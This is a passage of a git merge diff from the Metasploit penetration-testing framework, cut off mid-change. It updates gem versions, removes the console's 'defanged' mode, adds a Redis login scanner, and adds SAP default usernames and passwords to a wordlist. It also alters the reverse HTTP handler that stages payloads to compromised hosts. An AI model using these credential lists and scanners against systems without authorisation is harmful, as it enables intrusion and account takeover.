Merge branch 'master' into staging/rails-upgrade
commit
8de58e4b80
|
@ -1 +1 @@
|
|||
2.1.8
|
||||
2.1.9
|
||||
|
|
|
@ -45,4 +45,4 @@ git:
|
|||
branches:
|
||||
except:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
- metakitty
|
||||
|
|
142
Gemfile.lock
142
Gemfile.lock
|
@ -1,6 +1,6 @@
|
|||
GIT
|
||||
remote: git://github.com/rapid7/metasploit-concern.git
|
||||
revision: 25955570f568e3dca4d7c8123c9cdd660d77ad84
|
||||
revision: 1081d8767b4c952b7f729fcf9725932e547e5541
|
||||
branch: staging/rails-upgrade
|
||||
specs:
|
||||
metasploit-concern (1.1.0)
|
||||
|
@ -10,7 +10,7 @@ GIT
|
|||
|
||||
GIT
|
||||
remote: git://github.com/rapid7/metasploit-credential.git
|
||||
revision: 8ab9f2dc9f207341bbfe63cdf94a8723750435be
|
||||
revision: ce74ca0639c3a937f91f1138a7e998d9244ca3e0
|
||||
branch: staging/rails-upgrade
|
||||
specs:
|
||||
metasploit-credential (1.1.0)
|
||||
|
@ -24,7 +24,7 @@ GIT
|
|||
|
||||
GIT
|
||||
remote: git://github.com/rapid7/metasploit-erd.git
|
||||
revision: 0e89e5028340f6fa7b8332f8517b4cd0065861ab
|
||||
revision: 279189d6dd850cb1e03916bef4793fd67dd0c415
|
||||
branch: staging/rails-upgrade
|
||||
specs:
|
||||
metasploit-erd (1.1.0)
|
||||
|
@ -34,7 +34,7 @@ GIT
|
|||
|
||||
GIT
|
||||
remote: git://github.com/rapid7/metasploit-model.git
|
||||
revision: 7ed461f7a8ef543397be9cdf06a0b910f8090327
|
||||
revision: 20d11cb0a514a6353f1625c69d7ff82e60eb3320
|
||||
branch: staging/rails-upgrade
|
||||
specs:
|
||||
metasploit-model (1.1.0)
|
||||
|
@ -54,7 +54,7 @@ GIT
|
|||
|
||||
GIT
|
||||
remote: git://github.com/rapid7/metasploit_data_models.git
|
||||
revision: 7870250dba97b4d529d6ecb7af3ab726f91a5b7e
|
||||
revision: d36058007cff20de22976c5bcdf400b16988cd40
|
||||
branch: staging/rails-upgrade
|
||||
specs:
|
||||
metasploit_data_models (1.3.0)
|
||||
|
@ -91,13 +91,14 @@ PATH
|
|||
json
|
||||
metasm (~> 1.0.2)
|
||||
metasploit-model (= 1.1.0)
|
||||
metasploit-payloads (= 1.1.4)
|
||||
metasploit-payloads (= 1.1.6)
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
nokogiri
|
||||
octokit
|
||||
openssl-ccm (= 1.2.1)
|
||||
packetfu (= 1.1.11)
|
||||
patch_finder (>= 1.0.2)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
railties
|
||||
|
@ -112,10 +113,6 @@ PATH
|
|||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionmailer (4.1.15)
|
||||
actionpack (= 4.1.15)
|
||||
actionview (= 4.1.15)
|
||||
mail (~> 2.5, >= 2.5.4)
|
||||
actionpack (4.1.15)
|
||||
actionview (= 4.1.15)
|
||||
activesupport (= 4.1.15)
|
||||
|
@ -138,39 +135,48 @@ GEM
|
|||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.3.8)
|
||||
addressable (2.4.0)
|
||||
arel (5.0.1.20140414130214)
|
||||
arel-helpers (2.2.0)
|
||||
activerecord (>= 3.1.0, < 5)
|
||||
aruba (0.6.2)
|
||||
childprocess (>= 0.3.6)
|
||||
cucumber (>= 1.1.1)
|
||||
rspec-expectations (>= 2.7.0)
|
||||
arel-helpers (2.3.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
aruba (0.14.1)
|
||||
childprocess (~> 0.5.6)
|
||||
contracts (~> 0.9)
|
||||
cucumber (>= 1.3.19)
|
||||
ffi (~> 1.9.10)
|
||||
rspec-expectations (>= 2.99)
|
||||
thor (~> 0.19)
|
||||
bcrypt (3.1.11)
|
||||
builder (3.2.2)
|
||||
capybara (2.4.4)
|
||||
capybara (2.6.2)
|
||||
addressable
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
rack (>= 1.0.0)
|
||||
rack-test (>= 0.5.4)
|
||||
xpath (~> 2.0)
|
||||
childprocess (0.5.5)
|
||||
childprocess (0.5.9)
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
choice (0.2.0)
|
||||
coderay (1.1.0)
|
||||
concurrent-ruby (1.0.1)
|
||||
cucumber (1.3.19)
|
||||
coderay (1.1.1)
|
||||
contracts (0.13.0)
|
||||
cucumber (2.3.3)
|
||||
builder (>= 2.1.2)
|
||||
cucumber-core (~> 1.4.0)
|
||||
cucumber-wire (~> 0.0.1)
|
||||
diff-lcs (>= 1.1.3)
|
||||
gherkin (~> 2.12)
|
||||
gherkin (~> 3.2.0)
|
||||
multi_json (>= 1.7.5, < 2.0)
|
||||
multi_test (>= 0.1.2)
|
||||
cucumber-rails (1.4.2)
|
||||
cucumber-core (1.4.0)
|
||||
gherkin (~> 3.2.0)
|
||||
cucumber-rails (1.4.3)
|
||||
capybara (>= 1.1.2, < 3)
|
||||
cucumber (>= 1.3.8, < 2)
|
||||
mime-types (>= 1.16, < 3)
|
||||
cucumber (>= 1.3.8, < 3)
|
||||
mime-types (>= 1.16, < 4)
|
||||
nokogiri (~> 1.5)
|
||||
rails (>= 3, < 5)
|
||||
railties (>= 3, < 5)
|
||||
cucumber-wire (0.0.1)
|
||||
diff-lcs (1.2.5)
|
||||
docile (1.1.5)
|
||||
erubis (2.7.0)
|
||||
|
@ -181,21 +187,20 @@ GEM
|
|||
railties (>= 3.0.0)
|
||||
faraday (0.9.2)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.8)
|
||||
ffi (1.9.10)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (2.12.2)
|
||||
multi_json (~> 1.3)
|
||||
gherkin (3.2.0)
|
||||
i18n (0.7.0)
|
||||
jsobfu (0.4.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.3)
|
||||
mail (2.6.3)
|
||||
mime-types (>= 1.16, < 3)
|
||||
metasm (1.0.2)
|
||||
metasploit-payloads (1.1.4)
|
||||
metasploit-payloads (1.1.6)
|
||||
method_source (0.8.2)
|
||||
mime-types (2.99.1)
|
||||
mime-types (3.0)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2016.0221)
|
||||
mini_portile2 (2.0.0)
|
||||
minitest (5.8.4)
|
||||
msgpack (0.7.4)
|
||||
|
@ -205,12 +210,13 @@ GEM
|
|||
network_interface (0.0.1)
|
||||
nokogiri (1.6.7.2)
|
||||
mini_portile2 (~> 2.0.0.rc2)
|
||||
octokit (4.2.0)
|
||||
sawyer (~> 0.6.0, >= 0.5.3)
|
||||
octokit (4.3.0)
|
||||
sawyer (~> 0.7.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
packetfu (1.1.11)
|
||||
network_interface (~> 0.0)
|
||||
pcaprub (~> 0.12)
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.1)
|
||||
pg (0.18.4)
|
||||
pg_array_parser (0.0.9)
|
||||
|
@ -218,23 +224,13 @@ GEM
|
|||
activerecord (>= 4.0.0)
|
||||
arel (>= 4.0.1)
|
||||
pg_array_parser (~> 0.0.9)
|
||||
pry (0.10.1)
|
||||
pry (0.10.3)
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
rack (1.5.5)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails (4.1.15)
|
||||
actionmailer (= 4.1.15)
|
||||
actionpack (= 4.1.15)
|
||||
actionview (= 4.1.15)
|
||||
activemodel (= 4.1.15)
|
||||
activerecord (= 4.1.15)
|
||||
activesupport (= 4.1.15)
|
||||
bundler (>= 1.3.0, < 2.0)
|
||||
railties (= 4.1.15)
|
||||
sprockets-rails (~> 2.0)
|
||||
rails-erd (1.4.6)
|
||||
activerecord (>= 3.2)
|
||||
activesupport (>= 3.2)
|
||||
|
@ -252,48 +248,41 @@ GEM
|
|||
redcarpet (3.3.4)
|
||||
rkelly-remix (0.0.6)
|
||||
robots (0.10.1)
|
||||
rspec-core (3.3.2)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-expectations (3.3.1)
|
||||
rspec-core (3.4.4)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-expectations (3.4.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-mocks (3.3.2)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-mocks (3.4.1)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-rails (3.3.3)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-rails (3.4.2)
|
||||
actionpack (>= 3.0, < 4.3)
|
||||
activesupport (>= 3.0, < 4.3)
|
||||
railties (>= 3.0, < 4.3)
|
||||
rspec-core (~> 3.3.0)
|
||||
rspec-expectations (~> 3.3.0)
|
||||
rspec-mocks (~> 3.3.0)
|
||||
rspec-support (~> 3.3.0)
|
||||
rspec-support (3.3.0)
|
||||
rspec-core (~> 3.4.0)
|
||||
rspec-expectations (~> 3.4.0)
|
||||
rspec-mocks (~> 3.4.0)
|
||||
rspec-support (~> 3.4.0)
|
||||
rspec-support (3.4.1)
|
||||
ruby-graphviz (1.2.2)
|
||||
rubyntlm (0.6.0)
|
||||
rubyzip (1.2.0)
|
||||
sawyer (0.6.0)
|
||||
addressable (~> 2.3.5)
|
||||
sawyer (0.7.0)
|
||||
addressable (>= 2.3.5, < 2.5)
|
||||
faraday (~> 0.8, < 0.10)
|
||||
shoulda-matchers (2.8.0)
|
||||
activesupport (>= 3.0.0)
|
||||
simplecov (0.9.2)
|
||||
shoulda-matchers (3.1.1)
|
||||
activesupport (>= 4.0.0)
|
||||
simplecov (0.11.2)
|
||||
docile (~> 1.1.0)
|
||||
multi_json (~> 1.0)
|
||||
simplecov-html (~> 0.9.0)
|
||||
simplecov-html (0.9.0)
|
||||
json (~> 1.8)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.0)
|
||||
slop (3.6.0)
|
||||
sprockets (3.5.2)
|
||||
concurrent-ruby (~> 1.0)
|
||||
rack (> 1, < 3)
|
||||
sprockets-rails (2.3.3)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
sprockets (>= 2.8, < 4.0)
|
||||
sqlite3 (1.3.11)
|
||||
thor (0.19.1)
|
||||
thread_safe (0.3.5)
|
||||
timecop (0.7.3)
|
||||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
thread_safe (~> 0.1)
|
||||
xpath (2.0.0)
|
||||
|
@ -325,6 +314,3 @@ DEPENDENCIES
|
|||
timecop
|
||||
yard
|
||||
yard-metasploit-erd!
|
||||
|
||||
BUNDLED WITH
|
||||
1.11.2
|
||||
|
|
|
@ -16,4 +16,12 @@ SAPJSF ch4ngeme
|
|||
SAPR3 SAP
|
||||
CTB_ADMIN sap123
|
||||
XMI_DEMO sap123
|
||||
|
||||
IDEADM admin
|
||||
SMD_ADMIN init1234
|
||||
SMD_BI_RFC init1234
|
||||
SMD_RFC init1234
|
||||
SOLMAN_ADMIN init1234
|
||||
SOLMAN_BTC init1234
|
||||
SAPSUPPORT init1234
|
||||
CONTENTSERV init1234
|
||||
SMD_AGT init1234
|
||||
|
|
|
@ -23,7 +23,6 @@
|
|||
_arguments \
|
||||
{-a,--ask}"[Ask before exiting Metasploit or accept 'exit -y']" \
|
||||
"-c[Load the specified configuration file]:configuration file:_files" \
|
||||
{-d,--defanged}"[Execute the console as defanged]" \
|
||||
{-E,--environment}"[Specify the database environment to load from the configuration]:environment:(production development)" \
|
||||
{-h,--help}"[Show help text]" \
|
||||
{-L,--real-readline}"[Use the system Readline library instead of RbReadline]" \
|
||||
|
|
|
@ -80,7 +80,6 @@ class Metasploit::Framework::Command::Console < Metasploit::Framework::Command::
|
|||
driver_options['DatabaseMigrationPaths'] = options.database.migrations_paths
|
||||
driver_options['DatabaseYAML'] = options.database.config
|
||||
driver_options['DeferModuleLoads'] = options.modules.defer_loads
|
||||
driver_options['Defanged'] = options.console.defanged
|
||||
driver_options['DisableBanner'] = options.console.quiet
|
||||
driver_options['DisableDatabase'] = options.database.disable
|
||||
driver_options['LocalOutput'] = options.console.local_output
|
||||
|
|
|
@ -0,0 +1,91 @@
|
|||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
require 'metasploit/framework/tcp/client'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
# This is the LoginScanner class for dealing with REDIS.
|
||||
# It is responsible for taking a single target, and a list of credentials
|
||||
# and attempting them. It then saves the results.
|
||||
|
||||
class Redis
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
|
||||
DEFAULT_PORT = 6379
|
||||
LIKELY_PORTS = [ DEFAULT_PORT ]
|
||||
LIKELY_SERVICE_NAMES = [ 'redis' ]
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
REALM_KEY = nil
|
||||
|
||||
# This method can create redis command which can be read by redis server
|
||||
def redis_proto(command_parts)
|
||||
return if command_parts.blank?
|
||||
command = "*#{command_parts.length}\r\n"
|
||||
command_parts.each do |p|
|
||||
command << "$#{p.length}\r\n#{p}\r\n"
|
||||
end
|
||||
command
|
||||
end
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attempt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp',
|
||||
service_name: 'redis'
|
||||
}
|
||||
|
||||
disconnect if self.sock
|
||||
|
||||
begin
|
||||
connect
|
||||
select([sock], nil, nil, 0.4)
|
||||
|
||||
command = redis_proto(['AUTH', "#{credential.private}"])
|
||||
sock.put(command)
|
||||
result_options[:proof] = sock.get_once
|
||||
|
||||
# No password - ( -ERR Client sent AUTH, but no password is set\r\n )
|
||||
# Invalid password - ( -ERR invalid password\r\n )
|
||||
# Valid password - (+OK\r\n)
|
||||
|
||||
if result_options[:proof] && result_options[:proof] =~ /but no password is set/i
|
||||
result_options[:status] = Metasploit::Model::Login::Status::NO_AUTH_REQUIRED
|
||||
elsif result_options[:proof] && result_options[:proof] =~ /^-ERR invalid password/i
|
||||
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
|
||||
elsif result_options[:proof] && result_options[:proof][/^\+OK/]
|
||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
end
|
||||
|
||||
rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e
|
||||
result_options.merge!(
|
||||
proof: e,
|
||||
status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
)
|
||||
end
|
||||
disconnect if self.sock
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# (see Base#set_sane_defaults)
|
||||
def set_sane_defaults
|
||||
self.connection_timeout ||= 30
|
||||
self.port ||= DEFAULT_PORT
|
||||
self.max_send_size ||= 0
|
||||
self.send_delay ||= 0
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -10,7 +10,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
|
|||
|
||||
options.console.commands = []
|
||||
options.console.confirm_exit = false
|
||||
options.console.defanged = false
|
||||
options.console.local_output = nil
|
||||
options.console.plugins = []
|
||||
options.console.quiet = false
|
||||
|
@ -40,10 +39,6 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par
|
|||
options.console.confirm_exit = true
|
||||
end
|
||||
|
||||
option_parser.on('-d', '--defanged', 'Execute the console as defanged') do
|
||||
options.console.defanged = true
|
||||
end
|
||||
|
||||
option_parser.on('-L', '--real-readline', 'Use the system Readline library instead of RbReadline') do
|
||||
options.console.real_readline = true
|
||||
end
|
||||
|
|
|
@ -20,7 +20,7 @@ module Msf
|
|||
register_options(
|
||||
[
|
||||
Opt::RPORT(6379),
|
||||
OptString.new('Password', [false, 'Redis password for authentication test', 'foobared'])
|
||||
OptString.new('PASSWORD', [false, 'Redis password for authentication test', 'foobared'])
|
||||
]
|
||||
)
|
||||
|
||||
|
@ -54,7 +54,7 @@ module Msf
|
|||
if /(?<auth_response>ERR operation not permitted|NOAUTH Authentication required)/i =~ command_response
|
||||
fail_with(::Msf::Module::Failure::BadConfig, "#{peer} requires authentication but Password unset") unless datastore['Password']
|
||||
vprint_status("Requires authentication (#{printable_redis_response(auth_response, false)})")
|
||||
if (auth_response = send_redis_command('AUTH', datastore['Password']))
|
||||
if (auth_response = send_redis_command('AUTH', datastore['PASSWORD']))
|
||||
unless auth_response =~ /\+OK/
|
||||
vprint_error("Authentication failure: #{printable_redis_response(auth_response)}")
|
||||
return
|
||||
|
|
|
@ -63,10 +63,18 @@ module ReverseHttp
|
|||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
def print_prefix
|
||||
if Thread.current[:cli]
|
||||
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri(addr)
|
||||
def listener_uri(addr=datastore['LHOST'])
|
||||
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
|
||||
"#{scheme}://#{uri_host}:#{bind_port}/"
|
||||
end
|
||||
|
@ -224,6 +232,7 @@ protected
|
|||
# Parses the HTTPS request
|
||||
#
|
||||
def on_request(cli, req, obj)
|
||||
Thread.current[:cli] = cli
|
||||
resp = Rex::Proto::Http::Response.new
|
||||
info = process_uri_resource(req.relative_resource)
|
||||
uuid = info[:uuid] || Msf::Payload::UUID.new
|
||||
|
@ -241,7 +250,7 @@ protected
|
|||
|
||||
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
|
||||
if datastore['IgnoreUnknownPayloads'] && ! framework.uuid_db[uuid.puid_hex]
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID: #{request_summary}")
|
||||
print_status("Ignoring unknown UUID: #{request_summary}")
|
||||
info[:mode] = :unknown_uuid
|
||||
end
|
||||
|
||||
|
@ -249,7 +258,7 @@ protected
|
|||
if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
|
||||
allowed_urls = framework.uuid_db[uuid.puid_hex]['urls'] || []
|
||||
unless allowed_urls.include?(req.relative_resource)
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Ignoring unknown UUID URL: #{request_summary}")
|
||||
print_status("Ignoring unknown UUID URL: #{request_summary}")
|
||||
info[:mode] = :unknown_uuid_url
|
||||
end
|
||||
end
|
||||
|
@ -259,7 +268,7 @@ protected
|
|||
# Process the requested resource.
|
||||
case info[:mode]
|
||||
when :init_connect
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Redirecting stageless connection from #{request_summary}")
|
||||
print_status("Redirecting stageless connection from #{request_summary}")
|
||||
|
||||
# Handle the case where stageless payloads call in on the same URI when they
|
||||
# first connect. From there, we tell them to callback on a connect URI that
|
||||
|
@ -272,7 +281,7 @@ protected
|
|||
resp.body = pkt.to_r
|
||||
|
||||
when :init_python
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Python payload ...")
|
||||
print_status("Staging Python payload ...")
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
blob = ""
|
||||
|
@ -301,7 +310,7 @@ protected
|
|||
})
|
||||
|
||||
when :init_java
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Java payload ...")
|
||||
print_status("Staging Java payload ...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
|
||||
blob = obj.generate_stage(
|
||||
|
@ -325,38 +334,43 @@ protected
|
|||
})
|
||||
|
||||
when :init_native
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Staging Native payload ...")
|
||||
print_status("Staging Native payload ...")
|
||||
url = payload_uri(req) + conn_id + "/\x00"
|
||||
uri = URI(payload_uri(req) + conn_id)
|
||||
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
||||
# generate the stage, but pass in the existing UUID and connection id so that
|
||||
# we don't get new ones generated.
|
||||
blob = obj.stage_payload(
|
||||
uuid: uuid,
|
||||
uri: conn_id,
|
||||
lhost: uri.host,
|
||||
lport: uri.port
|
||||
)
|
||||
begin
|
||||
# generate the stage, but pass in the existing UUID and connection id so that
|
||||
# we don't get new ones generated.
|
||||
blob = obj.stage_payload(
|
||||
uuid: uuid,
|
||||
uri: conn_id,
|
||||
lhost: uri.host,
|
||||
lport: uri.port
|
||||
)
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
rescue NoMethodError
|
||||
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
|
||||
return
|
||||
end
|
||||
|
||||
when :connect
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...")
|
||||
print_status("Attaching orphaned/stageless session ...")
|
||||
|
||||
resp.body = ''
|
||||
conn_id = req.relative_resource
|
||||
|
@ -376,7 +390,7 @@ protected
|
|||
|
||||
else
|
||||
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{request_summary}")
|
||||
print_status("Unknown request to #{request_summary}")
|
||||
end
|
||||
resp.code = 200
|
||||
resp.message = 'OK'
|
||||
|
|
|
@ -60,12 +60,6 @@ module CommandDispatcher
|
|||
def active_session=(mod)
|
||||
driver.active_session = mod
|
||||
end
|
||||
#
|
||||
# Checks to see if the driver is defanged.
|
||||
#
|
||||
def defanged?
|
||||
driver.defanged?
|
||||
end
|
||||
|
||||
#
|
||||
# Logs an error message to the screen and the log file. The callstack is
|
||||
|
|
|
@ -72,8 +72,6 @@ class Auxiliary
|
|||
# Executes an auxiliary module
|
||||
#
|
||||
def cmd_run(*args)
|
||||
defanged?
|
||||
|
||||
opt_str = nil
|
||||
action = mod.datastore['ACTION']
|
||||
jobify = false
|
||||
|
|
|
@ -96,10 +96,6 @@ class Core
|
|||
"-h" => [ false, "Help banner." ],
|
||||
"-e" => [ true, "Expression to evaluate." ])
|
||||
|
||||
# The list of data store elements that cannot be set when in defanged
|
||||
# mode.
|
||||
DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ]
|
||||
|
||||
# Constant for disclosure date formatting in search functions
|
||||
DISCLOSURE_DATE_FORMAT = "%Y-%m-%d"
|
||||
|
||||
|
@ -884,8 +880,6 @@ class Core
|
|||
# Goes into IRB scripting mode
|
||||
#
|
||||
def cmd_irb(*args)
|
||||
defanged?
|
||||
|
||||
expressions = []
|
||||
|
||||
# Parse the command options
|
||||
|
@ -1234,8 +1228,6 @@ class Core
|
|||
# the framework root plugin directory is used.
|
||||
#
|
||||
def cmd_load(*args)
|
||||
defanged?
|
||||
|
||||
if (args.length == 0)
|
||||
cmd_load_help
|
||||
return false
|
||||
|
@ -1492,8 +1484,6 @@ class Core
|
|||
# restarts of the console.
|
||||
#
|
||||
def cmd_save(*args)
|
||||
defanged?
|
||||
|
||||
# Save the console config
|
||||
driver.save_config
|
||||
|
||||
|
@ -1524,8 +1514,6 @@ class Core
|
|||
# Adds one or more search paths.
|
||||
#
|
||||
def cmd_loadpath(*args)
|
||||
defanged?
|
||||
|
||||
if (args.length == 0 or args.include? "-h")
|
||||
cmd_loadpath_help
|
||||
return true
|
||||
|
@ -2182,12 +2170,6 @@ class Core
|
|||
@cache_payloads = nil
|
||||
end
|
||||
|
||||
# Security check -- make sure the data store element they are setting
|
||||
# is not prohibited
|
||||
if global and DefangedProhibitedDataStoreElements.include?(name)
|
||||
defanged?
|
||||
end
|
||||
|
||||
# If the driver indicates that the value is not valid, bust out.
|
||||
if (driver.on_variable_set(global, name, value) == false)
|
||||
print_error("The value specified for #{name} is not valid.")
|
||||
|
|
|
@ -49,8 +49,6 @@ class Exploit
|
|||
# Launches an exploitation attempt.
|
||||
#
|
||||
def cmd_exploit(*args)
|
||||
defanged?
|
||||
|
||||
opt_str = nil
|
||||
payload = mod.datastore['PAYLOAD']
|
||||
encoder = mod.datastore['ENCODER']
|
||||
|
|
|
@ -78,8 +78,6 @@ class Post
|
|||
# Executes an auxiliary module
|
||||
#
|
||||
def cmd_run(*args)
|
||||
defanged?
|
||||
|
||||
opt_str = nil
|
||||
jobify = false
|
||||
quiet = false
|
||||
|
|
|
@ -144,14 +144,6 @@ class Driver < Msf::Ui::Driver
|
|||
# Whether or not to confirm before exiting
|
||||
self.confirm_exit = opts['ConfirmExit']
|
||||
|
||||
# Disables "dangerous" functionality of the console
|
||||
@defanged = opts['Defanged']
|
||||
|
||||
# If we're defanged, then command passthru should be disabled
|
||||
if @defanged
|
||||
self.command_passthru = false
|
||||
end
|
||||
|
||||
# Parse any specified database.yml file
|
||||
if framework.db.usable and not opts['SkipDatabaseInit']
|
||||
|
||||
|
@ -630,17 +622,6 @@ class Driver < Msf::Ui::Driver
|
|||
#
|
||||
attr_accessor :active_resource
|
||||
|
||||
#
|
||||
# If defanged is true, dangerous functionality, such as exploitation, irb,
|
||||
# and command shell passthru is disabled. In this case, an exception is
|
||||
# raised.
|
||||
#
|
||||
def defanged?
|
||||
if @defanged
|
||||
raise DefangedException
|
||||
end
|
||||
end
|
||||
|
||||
def stop
|
||||
framework.events.on_ui_stop()
|
||||
super
|
||||
|
@ -769,17 +750,6 @@ protected
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# This exception is used to indicate that functionality is disabled due to
|
||||
# defanged being true
|
||||
#
|
||||
class DefangedException < ::Exception
|
||||
def to_s
|
||||
"This functionality is currently disabled (defanged mode)"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -122,8 +122,6 @@ module ModuleCommandDispatcher
|
|||
# Checks to see if a target is vulnerable.
|
||||
#
|
||||
def cmd_check(*args)
|
||||
defanged?
|
||||
|
||||
ip_range_arg = args.shift || mod.datastore['RHOSTS'] || framework.datastore['RHOSTS'] || ''
|
||||
opt = Msf::OptAddressRange.new('RHOSTS')
|
||||
|
||||
|
@ -176,7 +174,7 @@ module ModuleCommandDispatcher
|
|||
|
||||
def check_simple(instance=nil)
|
||||
unless instance
|
||||
instance = mod
|
||||
instance = mod
|
||||
end
|
||||
|
||||
rhost = instance.datastore['RHOST']
|
||||
|
|
|
@ -46,12 +46,15 @@ module Net # :nodoc:
|
|||
end
|
||||
|
||||
def pack_name(name)
|
||||
if name.size > 63
|
||||
raise ArgumentError, "Label data cannot exceed 63 chars"
|
||||
if name.size > 255
|
||||
raise ArgumentError, "Name data cannot exceed 255 chars"
|
||||
end
|
||||
arr = name.split(".")
|
||||
str = ""
|
||||
arr.each do |elem|
|
||||
if elem.size > 63
|
||||
raise ArgumentError, "Label data cannot exceed 63 chars"
|
||||
end
|
||||
str += [elem.size,elem].pack("Ca*")
|
||||
end
|
||||
str += [0].pack("C")
|
||||
|
|
|
@ -167,7 +167,7 @@ def self.open_webrtc_browser(url='http://google.com/')
|
|||
paths.each do |path|
|
||||
if File.exists?(path)
|
||||
args = (path =~ /chrome\.exe/) ? "--allow-file-access-from-files" : ""
|
||||
system("#{path} #{args} #{url}")
|
||||
system("\"#{path}\" #{args} \"#{url}\"")
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
|
|
@ -31,6 +31,30 @@ class Powershell < Extension
|
|||
end
|
||||
|
||||
|
||||
def import_file(opts={})
|
||||
return nil unless opts[:file]
|
||||
|
||||
# if it's a script, then we'll just use execute_string
|
||||
